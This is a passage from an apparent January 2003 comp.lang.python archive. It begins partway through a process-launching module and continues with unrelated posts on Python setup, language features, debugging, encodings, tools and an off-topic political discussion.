                print "Exception: e.errno = " + str(e.errno)
                if e.errno == 10: # child process probably killed
                    self.exitCode = -1 # not very meaningful !!


else: # not on POSIX
    class PosixProcess: pass



#-----------------------------------------------------------------------------
def createProcess(cmd):
#-----------------------------------------------------------------------------
    ''' Runs the program <cmd> in a new process.
    
    @param cmd The program command line.
    @return a Process instance
    @exception Error if program cannot be launched.
    '''
    if sys.platform == 'win32':
        p = Win32Process(cmd)
    elif os.name == 'posix':
        p = PosixProcess(cmd)
    else:
        raise Error('Only Win32 and Posix (Unix) are supported.')
    
    return p


#-----------------------------------------------------------------------------
# T E S T S
#-----------------------------------------------------------------------------
def test():
    
    print 'Testing module "process"'
    if sys.platform == 'win32':
        cmd = 'c:\python22\python.exe
C:\cygwin\home\Administrator\sleeper.py'
    else:
        cmd = '/home/cgg/sleeper.py tst'
    
    p = createProcess(cmd)
    if p.isAlive():
        print "process is alive"
    else:
        print "process is dead!"
    p.wait(10)   # will wait at most this long - works under windows
    p.kill()

    return p

#-----------------------------------------------------------------------------
# M A I N
#-----------------------------------------------------------------------------
if __name__ == "__main__":
    p = test()

***********
sleeper.py
***********
#!/usr/bin/env python
import time

i=0
while 1:
   i=i+1
   time.sleep(1)
   print i
   if i>20: break
   



*************
(sorry for the large posting)
-Chester Gingrich
gingrich at his.com



From fbartletFIXIT at optonline.net  Fri Jan 24 19:54:13 2003
From: fbartletFIXIT at optonline.net (Frederick Bartlett)
Date: Sat, 25 Jan 2003 00:54:13 GMT
Subject: Advice Needed re: MS-DOS/Win 98 as Python environment
References: <3E31C787.FBAE9794@lvcm.com>
Message-ID: <3E31E028.9000501@optonline.net>

zenguyuno at yahoo.com wrote:
> I generally run my python programs from a DOS window under Win 98.  Is
> there a better way?  (yeah, I know, use linux, but I feel I'm too old to
> relearn so much)

It's not so much -- Linux has GUIs, too

> When I open MS-DOS the initial directory is Windows.  I can't figure out
> how to make this come up as Python22.  I know about autoexec.bat, I used
> to use it a lot, but I don't know where MS-DOS under Win 98 looks for
> the autoexec batch file to execute.  Can anyone please tell me?

This is a bit off-topic, but here goes:

In autoexec.bat, which is in your root directory, inspect the PATH 
statement. It'll look like this:
   path C:\WINDOWS;C:\WINDOWS\COMMAND;c:\windows\system
Change it so it looks like
   path C:\WINDOWS;C:\WINDOWS\COMMAND;c:\windows\system;c:\python22
Then set your PYTHONPATH to point to any necessary directories; e.g.,
   set PYTHONPATH=C:\python22\lib\site-packages\DCOracle2
(which I need to access Oracle db's)

To change the default directory of your command prompt, edit its pif. 
Right-click on the command prompt icon; choose Properties and the 
Program tab, and you'll see what to do. You can even set up a 
python-specific batch file to run if you need to.

Then restart Windows; python should work hitchlessly.

Fred






From wurmy at earthlink.net  Wed Jan  1 11:22:57 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Wed, 01 Jan 2003 16:22:57 GMT
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>
Message-ID: <3E131654.6000300@earthlink.net>

Fred wrote:
> Hello all.
> 
> I know Python and have come to love it very much. Nearly all of my 
> scripting tasks with large databases are written in it.
> 
> My question is this -- what are the qualitative differences between 
> Python and Ruby? Does Ruby has any strengths, either in the language 
> itself or its available libraries, that are better than Python? Or are 
> they pretty much even?

They seem to be roughly even, although Python seems to be more mature. Choosing 
one over the other often appears to be a matter of liking or disliking 
significant whitespace, explicit 'self', and Perlish syntax.

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From gehart24 at yahoo.com  Sat Jan  4 06:31:06 2003
From: gehart24 at yahoo.com (george hart)
Date: 4 Jan 2003 03:31:06 -0800
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com> <msudnajgx8ojFoujXTWcqw@comcast.com>
Message-ID: <c490a7ae.0301040331.33ff489f@posting.google.com>

> o is now bound to 0
> 
> > o=100   # where i want this assignment to change a[0] to 100
> 
> No way.  You are simply rebinding 'o' to a new value.  Just write
> 'a[0] = 100'!

Hi,

I'm sorry, I think my example was not very good.  I can't just write
'a[0]' because the *real* data structure I am working with is very
complex and nested.  It would be more like a[1][10][20][40] etc..

I am a relatively new to python so I am probably trying solve the
problem the way I would in C (it would be nice to have pointers right
now :-).   The returned value from the .next() method appears to be
pointing to the same memory address as the respective element in the
data structure.  It seems logical that there should be an easy way to
modify it.

Plus, there must be a way to do this?  What is the point of being able
use a generator to iterate over a structure if you can't modify any of
the values?


Thanks,

George



From member16943 at dbforums.com  Fri Jan 31 23:13:58 2003
From: member16943 at dbforums.com (Tetsuo)
Date: Sat, 01 Feb 2003 04:13:58 +0000
Subject: Exceptions
Message-ID: <2468456.1044072838@dbforums.com>

I can't figure out how to do a custom error definition so the Try-Except
thing would work. Could someone put it simply?

--
Posted via http://dbforums.com



From nav at adams.patriot.net  Sun Jan 26 23:01:29 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 26 Jan 2003 23:01:29 -0500
Subject: Getting SuperUser Authority From Within Running Python Program
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org>
Message-ID: <yyyu1fvmeau.fsf@adams.patriot.net>

Instead of setuid programs, which always make me nervous, be they
binary or scripted, what about setting up /etc/sudoers to allow just
the required functionality for the id that runs the python script?

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From tjreedy at udel.edu  Thu Jan 30 02:13:01 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 30 Jan 2003 02:13:01 -0500
Subject: A few quick questions
References: <G63_9.5232$Tu2.18529@news-server.bigpond.net.au>
Message-ID: <-4GdnT-mS6gFTKWjXTWcow@comcast.com>

"Anthony Irwin" <anthonyi at toolboxsoftware.com.au> wrote in message
news:G63_9.5232$Tu2.18529 at news-server.bigpond.net.au...
> Hi,
>
> I am Interested in learning more about python, I would like to know
how
> people feel it rates as an application development language. I
mainly use
> linux but also use windows at work.
>
> could anyone point out any good gui programming tutorials for linux
or
> crossplatform toolkits and also maybe some review articles on how
well
> python rates as a language.
>
> would it be possible to create programs like dreamweaver, games,
database
> business apps etc. Or is it more suited to smaller projects.

Short answer: Welcome, good choice.  Python is a great language,
perhaps the best.   There are several guis available, perhaps too
many.  Games, database, business apps, small and large are doable.
(Don't know what dreamweaver is.)

Longer answer: All of these topics have been discussed at length in
previous threads.  You can find some by going to
http://groups.google.com/groups?hl=en&group=comp.lang.python
and entering 'Python' and another search term or two.  You can also go
to www.python.org and follow links there, including to Python wiki.
Or go to google web search page.  'Python game programming' gives
pygame.org as first response (as it should).

Terry J. Reedy





From pyth at devel.trillke.net  Sat Jan 18 11:05:59 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sat, 18 Jan 2003 17:05:59 +0100
Subject: [ann] rlcompleter2 <TAB> interactive completion 
Message-ID: <20030118170559.A9768@prim.han.de>

-------------------------------------------------------
rlcompleter2.py  python command line completion (v0.94)
-------------------------------------------------------

i am glad to announce a new module for python command 
line completion.  It aims to further improve the python
interactive experience.  This is all you need to know
about the user interface:

    <TAB>

which you can hit while hacking away in your interactive
python session.  You need to have >readline< installed 
and working.  And using it with Python 2.2.2 gives best 
results.

For a list of features, download and installation 
information please refer to

    http://codespeak.net/~hpk/rlcompleter2

-------------------------------------------------------
some features
-------------------------------------------------------

- completion on any valid Python statement/expression

- many convenient completions, e.g.

  func(<tab>   presents function signatures and docs
  module.<tab> presents module docstring (among others)
  func<tab>    autocompletes '(' or '()'
  obj<tab>     completes '.' if obj is module or instance

- when you hit <tab> multiple times you'll get
  increasing details about multiple completions

- the completer tries to autodetect your terminal height
  and width.

- shows type information for multiple matches. types
  are abbreviated by three characters. 

please report back any problems and bugs,

have fun,

    holger krekel, 18th January 2003




From abelikov72 at hotmail.com  Sat Jan  4 20:21:09 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 05 Jan 2003 01:21:09 GMT
Subject: Number format...
Message-ID: <892f1vc2o4fbfd023ottrjepv8344hpc9q@4ax.com>

What do I need to do to convert .1352345 to '0.14' ?

>>> repr(round(.1352345,2))
'0.14000000000000001'



From sholden at holdenweb.com  Thu Jan  9 08:42:35 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 9 Jan 2003 08:42:35 -0500
Subject: [OT?] Re: Python and Politics, Was: Python vs .Net
References: <mailman.1041982992.14279.python-list@python.org> <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au> <avg9tu$f1rlb$1@ID-117651.news.dfncis.de> <slrnb1p63u.5g0.karsten@datasink.webmonster.de>
Message-ID: <b1fT9.20385$u9.5901@fe08>

"Karsten W. Rohrbach" <karsten at rohrbach.de> wrote ...
> Peter Wu <peterwu at hotmail.com> wrote:
> > Avery Andrews wrote:
> >
> >> How does this play out in places that don't recognize software
> >> patents, especially where the local government is not interested in
> >> promoting the dominance of M$?  'twould be odd for USA-ans to be
> >> looking to Latin America and China for the defense of freedom, but
> >> such is life ...
> >
> > No politics, please.
>
> Why? In a world where it becomes quite obvious, that property rights
> turn out to stand over human and individual rights, and these property
> rights are enforced with a big budget by industry interest groups and
> also by using military forces, software is not a no-politics zone anymore.
>
Agreed. It seems to me that American companies and American governments
*both* seem to adopt a "might is right" approach in their relations to
external parties (here I'm talking foreign policy for the US government and
customer relations for Microsoft).

Since the second World War it seems to me (and not just me, see for Example
Zinn's Excellent "A People's History of America") that the US government
increasingly sees its interests aligned with those of commercial
organisations. Mostly "the economy" is a shorthand for "the welfare of large
corporations", and what is good for corporations is *assumed* to be good for
consumers collectively.

We could argue forever about the *reasons* for this, but I'm certainly not
about to try and use c.l.py as the forum for doing so.

> Don't get me wrong, I don't want to sound snappy, but that's how I see
> the course of action in international politics and industry cartels. And
> I don't want my kids to suffer from this negative evolution of law and
> order and humanity. There's more to life, than just working to be able
> to consume. Happyness is not derived from trade goods or intellectual
> property.
>
Hear, hear! When I look at individuals of great wealth I sometimes wonder
just what it is that drives them to keep accumulating more. I've heard some
"successful" people explain that money is "just a means of keeping score",
but this seems pretty feeble, as it begs the question of why the score has
to keep going up.

Given that money is supposed to be a "universal medium of exchange",
accumulating more than one could use in several hundred lifetimes would
appear, given the finite resources we all share on this ball of baked mud
called planet Earth, to deprive others. I particularly object to "American
dream" brainwashing, which would have people believe that "we can all
succeed if we work hard enough, so those who don't succeed are simply not
working hard enough".

> It goes well beyond the scope of software, but our momentary key
> technologies being powered by said software, reflect this evolution more
> and more.
>
The current situation is well summarised by the legal and lobbying efforts
the recording industry is indulging in to secure a redefinition of "fair
use" to "what we say you can do". We are getting close to having the
technology to enforce this by technical means, and the music industry
realises this. Microsoft's Palladium effort represents a further threat to
our freedoms in the area of software. It appears to threaten the user's
ability to determine which software components can be loaded onto a computer
system.

In Microsoft's case, what I find difficult to understand is that the
management of a convicted monopolist can't see that such exclusionary
initiatives might well lead to further successful court actions against
them. Given the mild slap on the wrist resulting from the last case,
however, I suppose they feel that they have nothing to fear.

I think the most interesting current attempt to argue with Microsoft about
whether open source is "good" or "bad" (these terms, of course, imply value
judgements, and so the relevant values should always be inspected: I think
most readers should be pretty clear by now about my value scale as it
relates to this thread) is taking place in Peru. David Villanueva Nu?ez, a
politician of great tact and diplomacy, is giving Microsoft a thrashing each
time they attempt to argue that proprietary software technologies are better
for the Government than  open source: see
http://www.theregister.co.uk/content/archive/25157.html. One might wish for
such effective representation in the US Congress and Senate.

> Intervention or not, design or misdesign, binding of resources or
> good collaboration - decisions often lie in our hands, not the hands of
> the government or fortune500 companies[1].
>
We can all make personal choices, but it's difficult to work around a
monopoly or a cartel who have decided "you should only do this our way",
particularly when they have the ear of government. Even now there are
stories about how digital rights management systems are stopping people from
including clips from media which would clearly have been accepted as fair
use under the copyright law of the twentieth century.

I don't see many politicians arguing against this, as in America it is seen
as protecting American corporations' rights to intellectual property.
Perhaps it's old-fashioned to believe in fair use? I can't imagine an
American court would have ruled as the Norwegian court did, that John Lech
Johansen was guilty of no offence in breaking the feeble encryption on DVD
content
[http://www.aftenposten.no/english/local/article.jhtml?articleID=466519],
though time might tell. The ruling is a smack in the face for the recording
industry, but by no means the end of their efforts.

And don't even get me started on the Digital Millenium Copyright Act, which
is about as clear an indication of the alignment of commercial and
legislative interests as any sane person is likely to need. Even the name is
dumb. Good for the publishers, though, eh?

> Because of the above, I clearly see this thread being on-topic.
>
I'm not sure I can agree here, given that comp.lang.python is for
discussions of the Python language, so I suppose I have to apologise to
those who only want to see technical threads in this group.

As always, technologies themselves are pretty much neutral (hence the gun
nuts' mantra of "guns don't kill people, people kill people": they never
seem to put "[often with guns]" at the end). What really counts is the uses
to which those technologies are put. Unfortunately, in present-day America
the individual technologist is ineffective in persuading government to
listen to other interpretations of technological possibility than those they
are fed by large corporations. Consequently, the corporations get to dictate
how we use our technologies. What price democracy now?

It's no accident that the most recent proposal to put "the [American]
economy" back on its feet includes removing taxation from stock dividends.
I've heard estimates that this will hand  over 40% of the benefit to the
richest 1% of the population, and yet nobody seems to consider raising the
threshold at which income taxes start to bite, which would have the
additional benefit of diminishing the taxpayer base and making adminstration
easier. Since that would mostly benefit the poor, however, it gets few
supporters: lobbyists and politicians tend to be wealthy and
self-interested.

> Regards,
> /k
>
> [1] Excuse my probably bad choice of words, I'm not a native english
>     speaker.
>
As a native English speaker myself I'd like to compliment you on your
language skills. I don't have enough mastery of any other language to say
much beyond "please", "thank you" and "could I have a beer?". I always try
to learn them in that order, though :-)

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From troy at gci.net  Tue Jan  7 17:26:52 2003
From: troy at gci.net (Troy Melhase)
Date: Tue, 07 Jan 2003 13:26:52 -0900
Subject: iteration over methods
In-Reply-To: <57de9986.0301071233.29cf8e8d@posting.google.com>
References: <3E1AB7B3.4050404@aon.at> <57de9986.0301071233.29cf8e8d@posting.google.com>
Message-ID: <3E1B542C.6060500@gci.net>

i agree with you that inspect.getmembers would be useful for the OP, but 
it's important to note that inspect.getmembers is actually doing a dir() 
for the caller.  from the source:


def getmembers(object, predicate=None):
     """Return all members of an object as (name, value) pairs
        sorted by name. Optionally, only return members that
        satisfy a given predicate."""
     results = []
     for key in dir(object):
         value = getattr(object, key)
         if not predicate or predicate(value):
             results.append((key, value))
     results.sort()
     return results


- troy

Giles Brown wrote:
> As an alternative to dir() you could use the inspect module:
> 
> import inspect
> 
> class Someclass:
>      def __init__(self):
>          pass
>      def method1(self):
>          print "called method1"
>      def method2(self):
>          print "called method2"
>      def runallmethods(self):
>          for name, method in inspect.getmembers(self, inspect.ismethod):
>              if name[:6] == 'method':
>                  method.im_func(self)
> 




From maney at pobox.com  Wed Jan 22 22:54:00 2003
From: maney at pobox.com (Martin Maney)
Date: Thu, 23 Jan 2003 03:54:00 +0000 (UTC)
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net> <3E2E1E54.C7EDE1C0@alcyone.com>
Message-ID: <b0np0o$268$1@wheel2.two14.net>

Erik Max Francis <max at alcyone.com> wrote:
> Martin Maney wrote:
>> Why not (None,None,None) as the initial value?

> It's an implementation defined area, and as such, your program shouldn't
> rely on it if you want portability.

Bother.  Okay, back to Looking It Up, then.  :-)

(I'm sure there are half a dozen others who replied likewise; Erik just
happened to come up first in thread order.)



From wyojustin at hotmail.com  Thu Jan  2 16:43:13 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Thu, 2 Jan 2003 16:43:13 -0500
Subject: pdb and breakpoints
References: <877kdnqsix.fsf@fonnesbeck.org>
Message-ID: <HvucnX4eyvzpL4mjXTWcog@comcast.com>

"Christopher Fonnesbeck" <chris at fonnesbeck.org> wrote in message
news:877kdnqsix.fsf at fonnesbeck.org...
> I am running into a problem using python and the pdb. I set breakpoints in
a class within which I have set a trace, but when I hit "c" to continue to
the next breakpoint, pdb blows right by them. I have set the breakpoint in a
for loop, so that it should stop at the first line (non-commented) in the
loop every time. Anyone have an idea of what I may be doing wrong?
>
> Thanks in advance,

Maybe that code is not being executed.  Set up a simple example and try it
out there.

Justin

# -- simple.py -- #
for i in range(4):
    print i

# -- end simple.py -- #

>>> import pdb
>>> import simple
0
1
2
>>> pdb.run('reload(simple)')
> <string>(0)?()
(Pdb) s
> <string>(1)?()
(Pdb) s
> C:\Python\Python22\simple.py(0)?()
(Pdb) b 2
Breakpoint 1 at C:\Python\Python22\simple.py:2
(Pdb) c
> C:\Python\Python22\simple.py(2)?()
-> print i
(Pdb) c
0
> C:\Python\Python22\simple.py(2)?()
-> print i
(Pdb) c
1
> C:\Python\Python22\simple.py(2)?()
-> print i
(Pdb) c
2
> C:\Python\Python22\simple.py(2)?()
-> print i
(Pdb) c
3






From phr-n2002b at NOSPAMnightsong.com  Wed Jan  8 09:12:36 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 08 Jan 2003 06:12:36 -0800
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122>
Message-ID: <7x4r8jbui3.fsf@ruckus.brouhaha.com>

bokr at oz.net (Bengt Richter) writes:
> What it boils down to is that there are enough codes for two sets
> of encodings plus 9023 special codes. You can think of it as a single
> bit attribute for arbitrary subsequences of binary bytes with no extra
> encoding characters vs doing them separately as before, and 9023 integer
> codes can be inserted also at a cost of 3 code characters apiece. You
> can think of them as available escape codes.

I'd vote for getting rid of the fancy stuff with the integer codes,
and also making the odd-character the last character in the encoded
string rather than the first.  The reason is that lets you encode a
stream where you don't know the length in advance.  



From missive at frontiernet.net  Thu Jan 23 10:33:37 2003
From: missive at frontiernet.net (Lee Harr)
Date: Thu, 23 Jan 2003 15:33:37 -0000
Subject: pgame GUI
References: <09gv2vsva0mhvc7pb66fscr3aracv5on7l@4ax.com>
Message-ID: <v302qhgrun4e12@corp.supernews.com>

In article <09gv2vsva0mhvc7pb66fscr3aracv5on7l at 4ax.com>, Havok wrote:
> Does anyone here know of a gui thats compatible with pygame in openGL
> mode (and preferably non openGL SDL as well). I've looked around and
> have only seen guis that allow simple dialog boxes, or mabye one entry
> field, which are not really simple for anything moderatly complex.
> 
> If theres nothing available then I'll attempt to modify pyui so I can
> plug it ino pygame, but don't want to reinvent the wheel :)
> 


If you have not asked on the pygame mailing list yet, I recommend it.




From andrew-pythonlist at puzzling.org  Tue Jan 28 19:23:21 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Wed, 29 Jan 2003 11:23:21 +1100
Subject: patching of python: tabs make me seek of python
In-Reply-To: <f210c9f3.0301281143.22c01152@posting.google.com>
References: <f210c9f3.0301281143.22c01152@posting.google.com>
Message-ID: <20030129002321.GC10273@frobozz.local>

On Tue, Jan 28, 2003 at 11:43:17AM -0800, Andrei Smirnov wrote:
> 
> please, don't try to convince me that tabs are good: i'm too lazy to even think
> about it. i just want curly braces.

If you really can't adapt, you can always do:

    if foo: #{
        ...
    #}

Etc.

However, I strongly suspect that all you need to do is configure your editor
correctly, e.g. expand all tabs to spaces, and preferably make sure your
workmates do the same.

-Andrew.





From tjreedy at udel.edu  Fri Jan 17 12:59:29 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 17 Jan 2003 12:59:29 -0500
Subject: Python 2.3: int() ?
References: <b09761$a32$1@news.schlund.de>
Message-ID: <BaGcnZfeiJP92bWjXTWcoA@comcast.com>

"Carsten Gaebler" <news at snakefarm.org> wrote in message
news:b09761$a32$1 at news.schlund.de...
> I just read the 2.3 'highlights' page on python org, and I'm a bit
> confused: it says '# int() - this can now return a long when
converting
> a string with many digits, rather than raising OverflowError.'
>
> What does 'can' mean here? Can I switch between returning a long or
> raising an exception?

No, 'can' means 'will' when appropriate.  This change is part of the
project of erasing the distinction between ints and longs as much as
possible.  The idea is that ints are an efficient representation of
'small' integers.

TJR





From mcfletch at rogers.com  Tue Jan 14 04:02:09 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 14 Jan 2003 04:02:09 -0500
Subject: fast way of turning a list of integers<256 into a string
In-Reply-To: <13a533e8.0301132340.5e56a28a@posting.google.com>
References: <f57664b9.0301131444.26ca3b43@posting.google.com> <13a533e8.0301132340.5e56a28a@posting.google.com>
Message-ID: <3E23D211.2030503@rogers.com>

Well, if we all get an entry free, here's my primary entry...

 >>> d = "".join( map(str,myints) )

Would be my entry for small arrays, it's straightforward and 
idio(t)matic :) .

 >>> struct.pack( ">"*len(myints), *myints )

is slightly faster than the "".join version for 100,000 items on my 
machine (there's fewer individually-managed objects created), but it's 
less idiomatic IMO, so I won't put it in as my entry ;) .  If there are 
large arrays involved you should obviously import Numeric and do it 
right :) .

Enjoy,
Mike

Peter Abel wrote:

>jbperez808 at yahoo.com (Jonathan P.) wrote in message news:<f57664b9.0301131444.26ca3b43 at posting.google.com>...
>  
>
...

>Hi
>everybody has one shot free.
>Here is mine one:
>  
>
>>>>text=reduce(lambda x,y:x+chr(y),range(32,128,1),'')
>>>>text
>>>>        
>>>>
>' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f'
>  
>
>regards
>Peter
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From adalke at mindspring.com  Sat Jan 11 20:31:06 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 18:31:06 -0700
Subject: XML/DTD
In-Reply-To: <avqe0l$hr51@news.vtx.ch>
References: <avqe0l$hr51@news.vtx.ch>
Message-ID: <avqgv6$stc$1@slb5.atl.mindspring.net>

Cedric Dutoit wrote:
> I'm searching for the simpliest way to VALIDATE a XML document with a 
> given DTD in Python.

I've been using the POM code from pyNMS.  See pynms.sourceforge.net.

I'm not sure that it does perfect validation.  Eg, I think it
doesn't distinguish between + and *.  So I'm also interested in
a good validator.

					Andrew
					dalke at dalkescientific.com




From sjmachin at lexicon.net  Sun Jan 26 02:39:27 2003
From: sjmachin at lexicon.net (John Machin)
Date: 25 Jan 2003 23:39:27 -0800
Subject: memory leak with large list??
References: <mailman.1043498654.32707.python-list@python.org> <b0va52$hac$0@216.39.172.122>
Message-ID: <c76ff6fc.0301252339.39db2df5@posting.google.com>

bokr at oz.net (Bengt Richter) wrote in message news:<b0va52$hac$0 at 216.39.172.122>...
> On Sat, 25 Jan 2003 07:41:42 -0500, Tim Peters <tim.one at comcast.net> wrote:
> 
> >[someone]
> >>> Then I generate a large list (12 million floats), either using map,
> >>> a list comprehension, or preallocating a list, then filling it using a
> >>> for loop.
> >
> >[Terry Reedy]
> >> 12 million different floats use 12 million * sizeof float object
> >> bytes. Float object is at least 8 bytes for float + object overhead
> >> (about 4 bytes?)
> >
> >Each object has at least a pointer to the object's type object, and a
> >refcount, for at least 8 bytes of overhead.  So a float object consumes at
> >least 16 bytes.
> Why do you need to duplicate the type pointer for all those? I.e., if
> you allocated space in decent-size arrays of object representations without
> type pointer, and just reserved a header slot in front of the array, [snip]

You'll have to pardon me if my brain appears fried (possible; 40
degrees (Celsius) here yesterday) but I don't understand Bengt's
question, nor Tim's answer.

Shouldn't the answer be: (a) You can't do that with the Python "list"
container, which can contain objects of *any* type (b) You can do that
with a different container, if you restrict all the objects in the
container to being of the one type (c) That has been done, for many
types; see the "array" module.



From max at alcyone.com  Wed Jan  1 15:40:01 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 01 Jan 2003 12:40:01 -0800
Subject: opening a text document to show a .txt file throughabrowserlink
References: <hcrP9.30944$Y2.1113@news2.bredband.com>
		 <mailman.1041277439.30986.python-list@python.org>
		 <3E10B410.E69EB572@alcyone.com>
		 <mailman.1041288686.25278.python-list@python.org>
		 <ahqqua.r04.ln@beastie.ix.netcom.com>
		 <mailman.1041312425.5480.python-list@python.org>
		 <7396d2b2.0212311127.13ebaa8@posting.google.com>
		 <tyfd6nhdikf.fsf@lxplus047.cern.ch>
		 <mailman.1041371348.30384.python-list@python.org>
		 <3E1269D0.B8488056@alcyone.com>
		 <mailman.1041402783.15788.python-list@python.org>
		 <3E12A3FC.E4621466@alcyone.com> <mailman.1041449102.30864.python-list@python.org>
Message-ID: <3E135221.50F63404@alcyone.com>

Cliff Wells wrote:

> I think *this* is a red herring: you're just testing me to see if I'll
> really let you get the last word as I promised in a previous post ;)

Hey, this is a different subthread, so that contract is null and void
:-).  (P.S. I win!)

Seriously, though, as far as I'm concerned we're just having a
light-hearted discussion.  I don't think either of us are getting bent
out of shape, nor should we be.  Happy holidays.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ What a crime to waste [youth] on children.
\__/ George Bernard Shaw
    Official Omega page / http://www.alcyone.com/max/projects/omega/
 The official distribution page for the popular Roguelike, Omega.



From brian at sweetapp.com  Thu Jan 23 17:13:53 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 23 Jan 2003 14:13:53 -0800
Subject: Is there really a default source encoding?
In-Reply-To: <yfsel731qlg.fsf@black132.ex.ac.uk>
Message-ID: <005c01c2c32c$b7180fe0$21795418@dell1700>

 > > I don't understand the goal of your proposal. The goal of the
current
> > plan is to support existing non-ASCII source files but warn the user
> > that they will need to add an encoding comment in the future.
> 
> This is a laudable goal. I just didn't understand why one would want
to,
> after slowly and carefully moving away from eurocentric (latin-1),
revert
> even further back to anglocentric (ascii) instead of opting for truly
> international (and anglo-neutral, utf-8). 

UTF-8 is certainly not "anglo-neutral". It is often prohibitively
expensive to encode Japanese and Chinese text in UTF-8 (UTF-16 is much
more popular).

Defaulting to ASCII seems like a very reasonable solution because it is
symmetrical with the way string => unicode conversions are done.

Once the Python Unicode type is called "string", current strings are
called "byte strings" and implicit byte string => string conversions are
NEVER supported then maybe we can make a Unicode encoding the default
(maybe UTF-32).

> Great. Only are you sure that BOMs are such a great idea?

I don't really care about how screwed-up Unix Unicode handling is. The
Unicode people should be willing to change their text model every 3
decades or so.
 
> I don't pretend to be a great unicode expert and maybe the above is
> outdated, flawed, irrelevant or whatever, but it still isn't clear to 
> me why .py files (with or without BOM) shouldn't just be assumed to 
> be utf-8 (after the transitory latin-1 period), BOM or no BOM (and my
> cursory rereading of pep-263 didn't make it clear to me either).

I wouldn't object to this but I don't see it as a major issue. 

Cheers,
Brian





From florian.proff.schulze at gmx.net  Fri Jan  3 12:51:43 2003
From: florian.proff.schulze at gmx.net (Florian Schulze)
Date: Fri, 3 Jan 2003 18:51:43 +0100 (Westeuropäische Normalzeit)
Subject: Printing
In-Reply-To: <wt7R9.63450$eq2.15780624@twister.nyroc.rr.com>
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl> <av1dab$v3fk5$1@hades.rz.uni-sb.de><wt7R9.63450$eq2.15780624@twister.nyroc.rr.com>
Message-ID: <Mahogany-0.64.2-1244-20030103-185143.00@crowproductions.de>

On Fri, 03 Jan 2003 03:30:36 GMT darrell <dgallion1 at yahoo.com> wrote:

> import os, re, thread, time, sys
> 
> assoc=os.popen("assoc .pdf").read()
> #'.pdf=AcroExch.Document\012'
> assocA=re.findall("=(.*)\012",assoc)[0]
> ftype=os.popen("ftype %s"%assocA).read()
> #'AcroExch.Document="e:\\sw\\Adobe\\Acrobat 4.0\\Acrobat\\Acrobat.exe" 
> "%1"\012'
> ftypeA=re.findall('=(".*?")', ftype)[0]
> 
> def pdfPrint(fn):
>     cmd= ftypeA.replace("/","\\")+" /p /h " + fn.replace("/","\\")
>     print 'CMD:', cmd
>     os.system(cmd)
> 
> def pdfStart(fn):
>     cmd= ftypeA.replace("/","\\")+" " + fn.replace("/","\\")
>     print "CMD:", cmd
>     thread.start_new_thread (os.system, (cmd,))
> 
> 
> A windows hack
> --Darrell

A Windows2000/XP(/NT?) hack.
It doesn't work on Windows9x(/ME?).

But it's cool. I learn something new on this list every day. And not only
about Python.

Maybe it's possible to get this directly from the registry for both Win9x
and WinNT? This kind of thing should be the same for all Windows versions.

Florian








From wyojustin at hotmail.com  Wed Jan 15 21:58:29 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Wed, 15 Jan 2003 21:58:29 -0500
Subject: VPython and JPEG?
Message-ID: <3uScnQrWTr5FgrujXTWcoA@comcast.com>

Does anyone know how to wrap an object in VPython with a jpeg image?  Like
say make a globe by wrapping a sphere with the country boundaries.  If not
VPython do you know of any other 3D libraries that can do that in python?

Thanks
Justin





From Mongryong at sympatico.ca  Thu Jan 23 22:51:42 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 23 Jan 2003 22:51:42 -0500
Subject: Using Java from Python
In-Reply-To: <20030124033116.GB14024@meson.dyndns.org>
References: <1043375647.578.89.camel@refugeeMedia> 
	<20030124033116.GB14024@meson.dyndns.org>
Message-ID: <1043380302.2590.10.camel@refugeeMedia>

Well, I'm using mod_python with Apache.  If I wanted to use some Java
code, say FOP, I would like to be able to use it without having to spawn
a process to use its command-line app.  That is, I'd rather execute FOP
like it was a 'class'.

So, is it possible to write a 'C' module that acts as proxy between
Python and Java?  In this example, I would need a FOP 'C' module.


